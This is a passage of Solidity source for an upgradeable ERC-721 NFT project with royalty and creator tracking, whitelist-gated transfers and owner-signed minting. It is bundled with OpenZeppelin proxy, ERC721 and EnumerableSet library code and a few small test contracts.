_setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; // Importing this file so it get compiled and get the artifact to deploy import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol"; /// @title TransparentUpgradeableProxy /// /// @dev This contract implements the transparent proxy by openZeppelin that is upgradeable by an admin. /// The proxy admin can update the implementation logic // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../interfaces/IWhitelist.sol"; /* solhint-disable */ ///This whitelist is for test updating whitelistProxy to allow any address to transfer contract TestWhitelist is IWhitelist { function canTransfer(address) external pure override returns (bool) { return true; } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../interfaces/IWhitelist.sol"; import "../interfaces/IRoyaltyAwareNFT.sol"; /// @title BaseEnigmaNFT721 /// /// @dev This contract is a ERC721 burnable and upgradable based in openZeppelin v3.4.0. /// Be careful when upgrade, you must respect the same storage. abstract contract BaseEnigmaNFT721 is IRoyaltyAwareNFT, ERC721BurnableUpgradeable, OwnableUpgradeable { /* Storage */ //mapping for token royaltyFee mapping(uint256 => uint256) private _royaltyFee; //mapping for token creator mapping(uint256 => address) private _creator; //token id counter, increase by 1 for each new mint uint256 public tokenCounter; //whitelist with logic to allow token transfers IWhitelist public whitelist; /* events */ event URI(string value, uint256 indexed id); event TokenBaseURI(string value); /* functions */ /** * @notice Initialize NFT721 contract. * * @param name_ the token name * @param symbol_ the token symbol * @param tokenURIPrefix_ the toke base uri */ function initialize( string memory name_, string memory symbol_, string memory tokenURIPrefix_ ) external initializer { __ERC721_init(name_, symbol_); __ERC721Burnable_init(); __Ownable_init(); tokenCounter = 1; _setBaseURI(tokenURIPrefix_); } /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} /** * @notice get the royalty fee of a token * * @param tokenId the token id * @return the royalty fee seted to the token */ function royaltyFee(uint256 tokenId) external view virtual override returns (uint256) { return _royaltyFee[tokenId]; } /** * @notice Get the creator of given tokenID. * @param tokenId ID of the Token. * @return creator of given ID. */ function getCreator(uint256 tokenId) external view virtual override returns (address) { return _creator[tokenId]; } /** * @notice Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. * @param baseURI_ the new base uri */ function _setBaseURI(string memory baseURI_) internal virtual override { super._setBaseURI(baseURI_); emit TokenBaseURI(baseURI_); } /** * @notice Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param _tokenURI string URI to assign */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual override { super._setTokenURI(tokenId, _tokenURI); emit URI(_tokenURI, tokenId); } /** * @notice call safe mint function and set token creator and royalty fee */ function _safeMint( address to, uint256 tokenId, uint256 fee ) internal virtual { _creator[tokenId] = msg.sender; _royaltyFee[tokenId] = fee; super._safeMint(to, tokenId, ""); } /** * @notice call transfer fucntion after check whitelist allowance */ function _transfer( address from, address to, uint256 tokenId ) internal virtual override { if (from != _msgSender()) { // Check that the calling account has the transfer role require(whitelist.canTransfer(msg.sender), "Transfer not approved"); } super._transfer(from, to, tokenId); } /** * @notice external function to set the base URI for all token IDs * @param baseURI_ the new base uri */ function setBaseURI(string memory baseURI_) external onlyOwner { _setBaseURI(baseURI_); } /** * @notice Set a whitelist with the logic to allow transfer NFTs * @param _whitelist The whitelist contract address */ function setWhitelist(IWhitelist _whitelist) external onlyOwner { whitelist = _whitelist; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./ERC721Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC721Upgradeable.sol"; import "./IERC721MetadataUpgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "../../introspection/ERC165Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/EnumerableSetUpgradeable.sol"; import "../../utils/EnumerableMapUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable, IERC721EnumerableUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap; using StringsUpgradeable for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSetUpgradeable.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721Upgradeable.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721Upgradeable.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721ReceiverUpgradeable(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[41] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../ERC721/BaseEnigmaNFT721.sol"; /// @title TestEnigmaNFT721 /// /// @dev This contract extends from BaseEnigmaNFT721 for upgradeablity testing contract TestEnigmaNFT721 is BaseEnigmaNFT721 { event CollectibleCreated(uint256 tokenId); /** * @notice public function to mint a new token. * @param tokenURI_ string memory URI of the token to be minted. * @param fee_ uint256 royalty of the token to be minted. */ function createCollectible(string memory tokenURI_, uint256 fee_) external returns (uint256) { uint256 newItemId = tokenCounter; tokenCounter = tokenCounter + 1; emit CollectibleCreated(newItemId); _safeMint(msg.sender, newItemId, fee_); _setTokenURI(newItemId, tokenURI_); return newItemId; } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./BaseEnigmaNFT721.sol"; /// @title EnigmaUserToken721 /// /// @dev This contract extends from BaseEnigmaNFT721 contract EnigmaUserToken721 is BaseEnigmaNFT721 { /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} /** * @notice public function to mint a new token. * @param tokenURI_ string memory URI of the token to be minted. * @param fee_ uint256 royalty of the token to be minted. */ function createCollectible(string memory tokenURI_, uint256 fee_) external returns (uint256) { uint256 newItemId = tokenCounter; tokenCounter = tokenCounter + 1; _safeMint(msg.sender, newItemId, fee_); _setTokenURI(newItemId, tokenURI_); return newItemId; } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./BaseEnigmaNFT721.sol"; /// @title EnigmaNFT721 /// /// @dev This contract extends from BaseEnigmaNFT721 contract EnigmaNFT721 is BaseEnigmaNFT721 { struct Sign { uint8 v; bytes32 r; bytes32 s; } /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} /** * @notice Internal function to verify a sign to mint tokens * Reverts if the sign verification fails. * @param tokenURI_ string memory URI of the token to be minted. * @param sign_ struct combination of uint8, bytes32, bytes32 are v, r, s. */ function verifySign(string memory tokenURI_, Sign memory sign_) internal view { bytes32 hash = keccak256(abi.encodePacked(this, tokenURI_)); require( owner() == ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign_.v, sign_.r, sign_.s ), "Owner sign verification failed" ); } /** * @notice public function to mint a new token. * @param tokenURI_ string memory URI of the token to be minted. * @param fee_ uint256 royalty of the token to be minted. * @param sign_ struct combination of uint8, bytes32, bytes32 are v, r, s. */ function createCollectible( string memory tokenURI_, uint256 fee_, Sign memory sign_ ) external returns (uint256) { uint256 newItemId = tokenCounter; verifySign(tokenURI_, sign_); tokenCounter = tokenCounter + 1; _safeMint(msg.sender, newItemId, fee_); _setTokenURI(newItemId, tokenURI_); return newItemId; } } // SPDX-License-Identifier:UNLICENSED pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract TestToken is ERC20 { constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) { _mint(msg.sender, 1e10); } }
